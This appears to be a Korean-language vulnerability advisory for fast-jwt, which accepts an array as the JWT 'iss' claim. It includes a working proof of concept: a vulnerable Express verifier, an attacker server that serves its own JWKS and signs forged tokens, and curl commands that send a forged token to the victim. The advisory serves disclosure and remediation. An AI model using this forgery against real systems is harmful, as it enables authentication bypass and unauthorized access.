
fast-jwt 라이브러리는 RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 에 기반하여 iss 클레임을 제대로 검증하지 않습니다.
fast-jwt 라이브러리의 iss(발급자) 클레임 검증은 문자열 배열을 유효한 iss 값으로 허용합니다. 이 설계 결함으로 인해 악의적인 행위자가 ['https://attacker-domain/', 'https://valid-iss'] 형태의 iss 클레임을 가진 JWT를 제작하는 잠재적 공격이 가능해집니다. 허용적인 검증 때문에 해당 JWT는 유효한 것으로 간주됩니다.
또한, 애플리케이션이 get-jwks와 같이 iss 클레임을 독립적으로 검증하지 않는 외부 라이브러리에 의존하는 경우, 공격자는 이 취약점을 활용하여 피해 애플리케이션이 수락하는 JWT를 위조할 수 있습니다. 본질적으로 공격자는 합법적인 발급자와 함께 자신의 도메인을 iss 배열에 삽입하여 의도된 보안 검사를 우회할 수 있습니다.
다음 코드를 실행하는 서버를 가정해 보겠습니다.
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
이제 JWT 토큰을 생성하고 검증 키를 피해자 서버로 보내는 데 사용할 서버를 구축합니다:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
fast-jwt의 iss 클레임 검증에 의존하는 애플리케이션은 공격자가 검증자가 수락하는 임의의 페이로드를 서명할 수 있도록 허용합니다.
https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 을(를) RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 에 명시된 대로 값에 대해 문자열만 허용하는 검증기로 변경하세요.